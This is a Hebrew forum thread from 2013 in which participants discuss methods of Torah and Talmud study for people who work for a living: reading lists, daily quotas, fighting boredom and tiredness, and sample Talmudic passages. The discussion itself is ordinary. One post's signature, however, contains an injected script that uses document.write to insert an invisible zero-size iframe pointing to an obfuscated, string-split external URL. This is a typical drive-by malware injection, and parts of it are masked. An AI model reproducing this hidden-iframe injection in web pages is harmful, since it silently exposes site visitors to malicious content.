| נשלח ב-16/6/2013 19:29 |
|
| |
המשך למסגרת הישיבתית-ליטאית
בעקבות שיחה שהיתה לי עם חבר ילדות נזכרתי בנקודות מאשכול סמוך אודות ה'לימוד הישיבתי', שלרוב מזיק למי שבשלב מסויים בוחר להנות מיגיע כפיו, כשהוא מרגיש שהלימוד הישיבתי הנו צורת הלימוד האיכותית היחידה שקיימת.
אם הייתי רוצה להגדיר את דרך הלימוד הישיבתית הייתי בוחר במוטיב של עמקות. כלומר עיסוק מעמיק בכל נקודה. אולם מלבד שלרוב גם בישיבות צורת לימוד זו היא עקרה במקצת, בחורי ישיבה עדיין לא מודעים לכמות ואיכות תורנית שכמעט אינה בהישג ידם [בעיקר בגלל שהם צעירים יחסית, אבל גם בגלל שהפתיחות המחשבתית וההסתכלות הבהירה מגיעה בעיקר עם נסיון החיים ולימוד במקביל לעיסוקים ארציים - בעיקר כשהם עקרוניים, יסוד והקמת משפחה וכדו']. אבל גם כפי שנראה הלימוד בזה"ז, בד"כ כל העיון מתרכז בדף אחד או שניים מהמסכת, כי זה מה שמספיקים בעיון בד"כ, והשאר רק כמין סייעתה וחזרה על העקרונות [אינני נכנס כאן לשאלת קצב הלימוד הראוי]. למעשה נדמה שגם המעיינים הגדולים לא יודעים לפתח 'עיון' מעצמם. גם צורת העיון הנהוגה ניכרת בהעדפת הצמצום על פני ההתרחבות, וזה כמובן לא מרבה את ידיעת התורה [עד שכל בקיא הופך בעיני כמה לומדים ללא מספיק 'למדן' (=הגדרה הטעונה בירור)]. כך שנראה קצת שהלימוד הישיבתי מסורס מעט, ואפילו נמנע מלהיות משוש חיים ארוכים של יותר מ5-10 שנים.
בשיחתי עם החבר הנ"ל נסיתי לברר איתו כיצד מתקדמים ע"י הלימוד הישיבתי, ומהי תכליתו, כמובן אינני בטוח שהוא תכליתי או מצדיק את עצמו [אם כי אני די נוטה לכן], אבל הייתי שמח להשתתף עמכם בתשובה לשאלה מהו לימוד תורה אידיאלי [לא במובן הפרקטי], שאפשר להתקדם עמו [בעיקר תוך כדי עיסוק בדרך ארץ, שזהו עיקר התורה כידוע].
תוקן על ידי אחרחוק ב- 16/06/2013 19:32:02
 |
|
|
|
|
| נשלח ב-16/6/2013 21:37 |
|
| |
קצת מנסיון קשה ללמוד כשעייפים, פיזית או מנטלית, נוטים לחפף או להרדם. מי שמסוגל ללמוד באשמורת הבקר, מה טוב, אך לא תמיד זה אפשרי. אם לא כדאי לנסות ללמוד תוך כדי כתיבה, וכווארט הידוע "קנה ׁ(בקמץ וסגול) לך חבר". הכתיבה מעוררת ומחייבת לסכם ולהבהיר.
|
|
|
|
| נשלח ב-16/6/2013 21:42 |
|
| |
בעל ומאידך צריך להזהר על,,השמר לך פן [עט בלעז]
|
|
|
|
| נשלח ב-16/6/2013 22:41 |
|
| |
אח רחוק
לאחר קריאת כל הודעתך, אני מבין שהשאלה מופיעה בסוף ואינה קשורה בהכרח לנושאים הקודמים, כמו איך לומדים בישיבות היום והיכן. השאלה היא איך לומדים טוב לא במסגרת ישיבתית, אלא לאחר רקע ישיבתי.
זה תלוי כמובן גם במטרת הלימוד.
אבל אוכל להציע קוים מנחים כלליים.
א. הכרת החומר. יש לקבוע סדר קבוע בלימוד כל ששה סדרי משנה, ודווקא עם פירוש קהתי (או אלבק, כפי שהעירני חבר פורום באישי, אבל קהתי נוח יותר לדעתי). יש ללמוד לפי הנוחיות, כלומר נזיקין ומועד ונשים, ואחר כך קודשים, זרעים וטהרות. לאחר ידיעות במשניות לימוד הגמרא הופך לקל יותר כי יש ידע מוקדם.
ב. ללמוד עם שוטנשטיין (אפשר גם אחת הגמרות האחרות עם פירוש משלים). הוצאה זו משלימה את הרקע כדי להבין מה הקושיה ומה התירוץ.
ג. בתחומים שהם הלכה למעשה כדאי לעיין, לפי מה שמספיק הזמן, בטור עם ב"י ובשו"ע. זה לא לוקח כה הרבה זמן כפי שזה נראה אם לומדים רק את מה ששייך לסוגיה הנוכחית.
ד. לדעתי כדאי גם ללמוד רמב"ם על הסוגיות, כלומר לפי המצויין בצד הדף (עין משפט נר מצוה).
ה. לא ללמוד תוספות!
ו. אין צורך ללמוד ראשונים נוספים כלל. אבל מי שחש צורך ומתגעגע, אזי במקום תוספות, או אפילו ראשונים אחרים, ללמוד רא"ש. אם אין רא"ש, אז מאירי. שימו לב שתוספת זו תעלה בשעה של לימוד לפחות נוספת ליום. בוודאי שכל המוסיף מוסיפים לו, אבל השאלה היתה לגבי מי שטרוד בפרנסתו. התוכנית המקורית נועדה לקחת עד שעתיים ליממה ולא יותר. כדאי לבאר מדוע זה ממש לא חשוב היום ללמוד עוד ראשונים, מעבר לאלו שהוזכרו כאן (שוטנשטיין מפרשים לפי רש"י, הצצה ברמב"ם מאפשרת לקבל תמונה איך למד הוא את הסוגיה, ועיון בב"י, למי שירצה ויספיק, יוסיף עוד פרשנויות).
וללמוד מהר בלי להתעכב יותר מדי. להבין, לסכם דינים העולים, מבנה הסוגיה, מה היתה הקושיה ומה היה התירוץ, ואם יש קושי שנותר לעיון, מה הקושי. ולהתקדם.
אם ביום מסויים לא עומדים בהספק, לכתוב זאת במחברת, ולהשלים כאשר זה מתאפשר. יש להקפיד על רישום של כל חוסר כדי לא לאבד את הרצף. תמיד יימצאו בהמשך ימים שבהם נלמדות סוגיות שנחשבות לקלות ואפשר לסיימן מהר ואז אפשר לחזור לעמודים החסרים ולהשלים. וגם את זה לרשום במחברת.
אם מקפידים על דף ליום, זה אומר ש"ס בשבע שנים. ואין צורך ללכת לחפש שיעור שלפעמים קשה או לא מובן או מרחיב מדי. אם כי יש גם שיעורים מצויינים וצריך רק לחפש מגיד שיעור שהינו תלמיד חכם בקיא בעל שיעור קומה ויכולת הסברה.
הזמן הדרוש לכל זה מגיע לבין שעה ורבע לשעתיים ביום, לא יותר. ניתן לחלק זאת בין הבוקר או אחרי הצהרים כשפחות עייפים לבין הלילה, שאז לומדים את המשניות. יש כמובן משניות קשות, אבל אליהן יגיעו רק לאחר שנתיים לפחות ובינתים ירכשו שוב יכולת הבנה, הכרות עם מבנה המשנה ועוד ועוד. וקהתי תמיד מסביר טוב.
התוצאות:
מסיימים ש"ס תוך שבע שנים. נכון שאין גבול ללימוד הש"ס, אבל יש הבדל עצום בין מי שעשה זאת ולמד נכון לבין מי שקנה כמה עמודים בכל מסכת ב"עיון". לדעתי, אין שום תועלת בניתוח מחלוקות בין הקצות לנתיבות וכל שכן לעיין באחרונים עליהם. במקרה הטוב זה משחק אינטלקטואלי. כמובן, מי שעושה זאת לשם מצות תלמוד תורה יש לו שכר, אבל לא במובן של העשרת הידע התורני. אני מוכן לדון ואשמח לראות אם יש הוכחות להפך.
מסיימים את כל סדרי משנה. הידע הנרכש הוא עצום ובא לידי ביטוי כמעט בכל סוגיה.
לומדים הלכות רבות כפי שהן נפסקו למעשה. הטור מביא את השיטות המרכזיות שנאמרו בכל סוגיה הלכה למעשה. הב"י מנתח את הסוגיות לרוב באופן פשטני הראוי ללימוד: כיצד מסכמים. (המסורת הישיבתית אומרת שהחזו"א המליץ על לימוד קבוע בבית יוסף כדי "ליישר את המחשבה". יש לדון במשתמע מהמלצה זו אבל לשם התחלה זה מצויין).
יש תחושה נפלאה של השגיות כאשר האדם יודע שלמד וקנה ידע. למעשה, לדעתי אם האדם ילמד נכון, הוא יהיה תלמיד חכם (באחד המובנים המקובלים של מונח זה) תוך כמה שנים.
ולימוד תורה משפיע על האדם בכל מיני רמות, מעניק לו ערכים ופרופורציות וגם מזכיר לו שהוא אינו מן ההמון ההולך אחר תאוות ליבו אלא אחרי העיון התורני - וזה משפיע על האדם ועל סביבתו ובשלב כלשהו, גם על משפחתו, ילדיו.
כתבתי ארוך אבל זה מעט מהרבה. אם יש צורך, אשתדל להוסיף ולפרט.
*** בתור שכר על העצה, אשמח אם מי שמיישם אותה יכתוב בפורום הערות העולות לו אגב לימודו. כיון שזה ייעשה בדרך הפורום, נרויח גם לימוד עיוני "רגיל", "ישיבתי" וגם נוכל לתרום לעיון מן הכלים הנוספים שבאים לידי ביטוי בפורום.
_________________הורחב סעיף ו' ונוספה עצה להשלמות אם מחסרים יום.
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");>
תוקן על ידי מיימוני ב- 16/06/2013 22:44:37
 |
|
|
|
|
| נשלח ב-17/6/2013 06:48 |
|
| |
מיימוני כנראה זה ענין של אופי והעדפה אישית. אני נרדם מלימוד שאתה מציע, לכן אני מעדיף לא פעם לימוד עיוני וסיכומי יותר כפי שתארתי למעלה.
|
|
|
|
|
| נשלח ב-17/6/2013 07:32 |
|
| |
בעל
זו נקודה חשובה מאד. אין אדם לומד אלא במקום שליבו חפץ, ואם הוא נרדם, זה לא מועיל.
אבל לא הבנתי אותך מספיק ברור. האם כוונתך לשיעור פרונטלי או ללימוד עצמי? והאם מדובר בלימוד לבד (שוטנשטיין זה לבדך עם הגמרא והפירוש היעיל שלהם) או עם חברותא? עם חבר או עם רב זה אחרת.
מהנסיון שלי, העייפות שבולטת פתאום בנסיון ללימוד נובעת מכמה גורמים, נוסף לעייפות טבעית של אדם שגם עובד לפרנסתו (ולא יושב בכולל, אם כי הסיבות האחרות חלות גם כן):
א. הגמרא קשה ולא מובנת. קשה לקרוא משהו כאשר לא מבינים על מה מדובר ומה רוצים שם.
ב. הנושא משעמם, דקדקני. בעירובין היו כמה דוגמאות כאלו. היה לי ממש קשה לעבור על הסוגיות כשלא הבנתי למה נחלקו ובמה.
ג. אצל אלו שחכמים ומוכשרים בעיניהם (כמוני), קשה ללמוד גמרא שמראה עד כמה הלומד רחוק מהבנתה. זה מחייב ענוה כלומר עבודה עצמית ללמוד ולהסתפק בהבנה פחותה.
אחד הפתרונות הוא לשוחח עם עצמי ולבצע עבודת הכנה. אני רוצה לסיים ש"ס? כן. אני רוצה לנסות להבין כמיטב יכולתי? כן. אני מבין שהבנתי בשלב זה של הסוגיה והלימוד תהיה חלקית, ומשלים עם זה, בתקוה לשיפור? כן.
אז יש יותר כוח.
צריך לדעת לא לוותר לעצמנו. אם לומדים את הגמרא באופן ליניארי, דף אחרי דף, תמיד נופלים על סוגיות כאלו.
יתכן שזה מועיל להחזיק בספר עזר כמו ספרי הרב זילברשטיין, הרב שפיץ (בנזיקין) או "דף על דף" שמופיע בפרוייקט השו"ת, כדי למצוא נקודות מעניינות גם בסוגיה שנראית משעממת.
ותמיד צריך לבדוק שהבנו פשט פשוט, מה הקושיה ומה התירוץ. מנסיוני, זה הדבר הראשון שגורם לשיעמום ועייפות ורצון לברוח.
עוד נקודה אחרונה, שכתובה בכל הספרים והיא נכונה: דברי תורה נקנים במאמץ, גם בהתגברות על רצון להרדם בסוגיות כאלו. צריך לזכור זאת. זה עוזר חלקית.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
 |
|
|
|
|
| נשלח ב-17/6/2013 08:53 |
|
| |
כתבתי על לימוד עצמי. אישית אני בד"כ לא לומד עם שושנטיין, אני ב"ה מסתדר היטב עם המפרשים הקלאסיים.
|
|
|
|
| נשלח ב-17/6/2013 15:15 |
|
| |
[בע"ב ומיימוני,
עצה בעניין הימנעות מהירדמות - לחדש. לחדש את המפרשים בהם משתמשים (אתה רגיל ללמוד עם "המפרשים הקלסיים"? עבור לפירושים מודרניים...). למה? כי לדעת את שאתה כבר יודע זה לא "מעורר" בשום דרך, ולענות את אותה התשובה על אותה שאלה - זה לא באמת מעניין (לפחות אותי, ואולי זה עניין של טעם). לחדש את החברותא איתה לומדים (או את המורה, אם יש כזה) - נקודת מבט חדשה ושונה משלי, תמיד מעוררת, לעתים מערערת, ואף פעם לא מרדימה. לחדש את השאלות שאני שואלת - זה קשה מאוד לעשות, במיוחד אם אני תמיד לומדת באמצעות אותם מפרשים, עם אותה החברותא ועם אותו מורה...]
תוקן על ידי אמשלום ב- 17/06/2013 15:13:55
|
|
|
|
| נשלח ב-17/6/2013 16:13 |
|
| |
אמשלום ההצעה האחרונה שלך היא כבר יוסיף מכאוב. לא חבל?
|
|
|
|
| נשלח ב-17/6/2013 16:33 |
|
| |
[בע"ב,
אני חושבת (אל תתפוס אותי במילה...) שג'ון סטיוארט מיל אמר פעם, שעדיף להיות אדם סובל מאשר חזיר שמח. אני די מסכימה לזה ]
|
|
|
|
| נשלח ב-17/6/2013 16:50 |
|
| |
אגדה שחיבר דוד פרישמן ויש בה מסממני הגלות ומשהו מהתפיסה המערבית וגם זו של קהלת:
http://www.benyehuda.org/frischmann/kodkodiya.html
אולם הראי"ה קוק כתב שללמוד מעט תורה בלב שמח עדיף מללמוד הרבה תורה בלי שמחה פנימית, כי השמחה הטהורה תנאי נכבד בעסק התורה לשמה.
תוקן על ידי מ80 ב- 17/06/2013 16:51:30
|
|
|
|
| נשלח ב-17/6/2013 17:33 |
|
| |
אמשלום אני מניח שחלק מהגולשים כאן חוו מהו אדם סובל, אך האם יודעים מהו חזיר שמח?
תוקן על ידי בעלבעמיו ב- 17/06/2013 17:34:04
|
|
|
|
| נשלח ב-17/6/2013 17:44 |
|
| |
[בע"ב,
באופן פרדוכסלי משהו, אני חושבת שזה חלק ממרחב החוויות האנושיות שכל אדם חווה מתישהו בחייו...
מ80,
אני מסכימה שעדיף ללמוד תורה בשמחה. אני לא בטוחה אם הטעם שהבאת הוא הנכון - לדעתי, זה פשוט יעיל יותר מבחינה לימודית. אני גם מאמינה, שבעבור מי שאוהבים ללמוד, אתגר אינטלקטואלי (כמו למשל - לשנות את השאלות וכו') הוא - בסופו של דבר - מקור גדול לשמחה (וכמובן גם להתקדמות לימודית). (בע"ב - זה מזכיר לי: האם עליי לציין במפורש, שלא כל שמחה היא חזירית ולא כל סבל הוא "אדמי"?).]
|
|
|
|
| נשלח ב-17/6/2013 17:53 |
|
| |
אמשלום אני לא פסימי עד כדי כך.
|
|
|
|
| נשלח ב-17/6/2013 18:02 |
|
| |
אמשלום
הצעתך חיונית, אבל כמדומה שאת ואני מתייחסים לשתי תופעות שונות. אמנם איני יודע לאיזו מהן מתייחס בעל בעמיו.
יש כמה רמות של הבנה - או קושי בהבנה - שניתן לזהות אצל הלומדים.
א. הבנת הטקסט. המילים. על מה מדובר. מה פסק בעל המימרה. מה הכלל שעולה מדבריו? מה המקור? מה הסברה?
ב. כאשר יש דיון, בעד ונגד, מה הנימוקים?
כפי שמגלה כל לומד, יש אי בהירויות רבות, ויש ספקות, ויש אפשרויות פרשניות. החל בשינויים בסברה ועד לשינויים באוקימתא. לעתים הדברים מקומיים, ולעתים הדברים תלויים במשתמע מסוגיות אחרות.
השיעמום והקושי עלולים לנבוע מגורמים שונים ומנוגדים.
1. אני הצבעתי על הקושי והשיעמום, המוכרים לי, כאשר הלומד מתמודד עם טקסט לא מובן, עם נושא לא מעניין, ועם סברות לא ברורות.
דוגמא.
בדף היומי, עירובין קא א-ב, יש דיון על סוגי דלתות ומחסומים, כמו דלתות נגררות, מחסום קוצים, סוגים של קורות (עם נגר ובלי נגר) והגובה שבו הם תלויים מעל פני האדמה. יש מפתחות ויש מנעולים, אולם הם לא נראים כמו אלו המוכרים לנו.
תלמוד בבלי מסכת עירובין דף קא עמוד א
דלת הנגררת, ומחצלת הנגררת, וקנקן הנגרר, בזמן שקשורין ותלויין - נועלין בהן בשבת, ואין צריך לומר ביום טוב! - אמר אביי: בשיש להם ציר. רבא אמר: בשהיה להן ציר. מיתיבי: דלת הנגררת, ומחצלת הנגררת, וקנקן הנגרר בזמן שקשורין ותלויין, וגבוהים מן הארץ אפילו מלא נימא - נועלין בהן, ואם לאו - אין נועלין בהן! - אביי מתרץ לטעמיה, ורבא מתרץ לטעמיה. אביי מתרץ לטעמיה: או שיש להן ציר, או שגבוהין מן הארץ. רבא מתרץ לטעמיה: כשהיה להן ציר, או שגבוהין מן הארץ.
לפי פשוטה של לשון, כאשר יש דלת נגררת, יהיה מותר לסגור ולנעול בה (ואיני יודע נעילה זו מה טיבה המדוייק) לאביי רק אם יש לה ציר או שהיא גבוהה מן הארץ, ולרבא גם אם היה לה ציר אע"פ שעכשו אין לה.
מדוע זה חשוב? האם מי שרואה את הדלת זוכר שהיה לה ציר, או שיש לה צורה של דלת של ציר שכבר אינו קיים?
יש כה הרבה ספקות, ולא ברור - לי - מה טעם האיסור ומה טעם ההיתר.
מי שרוצה לקרוא את הגמרא ולעבור הלאה, יישאר עם הספקות, וידע שהוא יודע לדקלם מילים בלי לדעת מה עומד מאחוריהן (דלת, ציר הם שני מושגי יסוד וצריך להכיר איך הם נראים במציאות דאז, מה שנקרא "ריאליה תלמודית").
יתכן גם שאדם יקרא בחופזה ויאמין שדלת שלנו ושלהם זהה בצורתה ובדיניה, וכן בציר, וכן בשאר המונחים שם. זו נראית הנחה מפוקפקת למדי.
הווה אומר: כדי להבין את הנידון בגמרא צריך להשקיע זמן ולחפש בספרים עד שמוצאים במה בדיוק מדובר. וחוששני שהפעם שוטנשטיין לא סיפקו מספיק חומר.
אני עצמי השקעתי את הזמן הרגיל שאני מקצה לדף, סיכמתי לעצמי שלא הבנתי כמעט כלום, והמשכתי. סוף סוף, גם ידיעת השאלות היא ידיעה מסויימת. אבל קשה לומר שלימוד כזה מביא לסיפוק.
2. הנה סוגיה מפורסמת שחשבתי להעלות כנושא בפני עצמו. (המקור והפירושים לקוחים ממאמר של הרב ביגמן המפורסם מאד ברשת):
תלמוד בבלי מסכת ברכות דף כד עמוד א
אמר רבי יצחק: טפח באשה ערוה. למאי? אילימא לאסתכולי בה - והא אמר רב ששת: למה מנה הכתוב תכשיטין שבחוץ עם תכשיטין שבפנים - לומר לך: כל המסתכל באצבע קטנה של אשה כאילו מסתכל במקום התורף! אלא: באשתו, ולקריאת שמע. אמר רב חסדא: שוק באשה ערוה, שנאמר גלי שוק עברי נהרות, וכתיב תגל ערותך וגם תראה חרפתך. אמר שמואל: קול באשה ערוה, שנאמר כי קולך ערב ומראך נאוה. אמר רב ששת: שער באשה ערוה, שנאמר שערך כעדר העזים.
סוגיה זו חשובה מאד ונוגעת להלכות רבות והיא משפיעה על התנהגותנו ואף מגיעה לצבא ולפוליטיקה (וגם נוגעת אישית למי שאוהב כמוני לשמוע שירים ונתקל בשאלה אם מותר לשמוע קול אשה שרה).
יש כמה פירושים של הראשונים שנאמרו בסוגיה. בלי להיכנס לשאלה כיצד לומדים את הפירושים ומיישמים אותם (למעשה, זה בדיוק כמו ללמוד מחלוקת תנאים ואמוראים, רק שיש יותר חומר ליישם לגביו את ההסברים) - הם מתחלקים לשני כיוונים. יש מפרשים שמדובר באיסור בשעת קריאת שמע, ויש שמפרשים איסור כללי.
לימוד "קלאסי", אם אני מבינו נכון, יכלול לימוד של השיטות, יתרונותיהן וחסרונותיהן.
מדוע שלימוד כזה יהיה משעמם? ובכן, אולי כאשר מכירים את כל הפרשנויות, חזרה לשם חזרה, למרות שהיא חשובה, עלולה להיות משעממת. איני יודע. לא נתקלתי במצב כזה מעולם, מסיבות שיובהרו מייד. סמיילי.
כנגד בעיה זו מוצעות שתי תקנות.
I התקנה של אמשלום
אמשלום מציעה להסתכל על הסוגיה במבט חדש. אני מבין בזה את היכולת לדון את הסברות במבט מבחוץ. זו ודאי לא גישה ישיבתית, אבל היא עשויה להעשיר את הלימוד.
היומרה לשפוט את המימרות (גם אם נזהרים לא לדון את בעלי המימרות) עדיין נראית חריגה עבורי ועבור הדומים לי. אבל נסיון כזה בהחלט מעלה קוי מחשבה חדשים. דוגמאות לזה אפשר למצוא בהערותיה הזהירות הנאמרות בענוה רבה של אמשלום בכל רחבי הפורום. אולי היא תרצה לציין או להעתיק לכאן דוגמא לפרשנות כזו כדי להדגים. איני זוכר כרגע דוגמה אופיינית.
II דרכי שלי, שנובעת מתוך העמקה בשיטות הישיבתיות, בנויה על נסיון להבין את הנחות היסוד של הסוגיה ושל המשתתפים בה. זיהוי הנחות היסוד הוא תהליך שאינו נעצר.
לדוגמא, אם צדקתי והמחלוקת בין אביי ורבא לעיל היא בדלת שכבר אין בה ציר, ניתן לשאול כיצד העובדה שהיה פעם ציר מועילה לפי רבא. האם זה בגלל שההסתכלות האנושית כוללת לא רק את מה שיש לנגד העינים אלא גם את מה שעבר והיה מוכר? האם זה היתר פורמלי, כלומר כיון שחשוב למצוא היתר לנעילת ופתיחת השער לקרפף, החצר האחורית שמאחורי הבית, ניתן להאחז בכך שפעם היה ציר ולומר שכיון שהיה היתר שוב לא פקע? (אך מדוע שזה יועיל משבת לשבת)?
ניתן להמשיך בקו זה וליישם, כפי שהבאתי בעבר מדברי הרב שגר, סברות הלקוחות מתחומי מחקר מודרניים, כמו פנומנולוגיה של הדת ואנתרופולוגיה, במקום שהם רלוונטיים.
שני אלו פתרונות למה שזיהתה אמשלום כשיעמום אפשרי מחמת דיון שנראה פשטני ומוכר מדי.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
 |
|
|
|
|
| נשלח ב-17/6/2013 18:12 |
|
| |
אשר לציטוט היפה, צדקה אמשלום, לפחות לפי ויקיציטוט.
- It is better to be a human being dissatisfied than a pig satisfied; better to be Socrates dissatisfied than a fool satisfied. And if the fool, or the pig, are of a different opinion, it is because they only know their own side of the question. The other party to the comparison knows both sides.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
|
|
|
|
|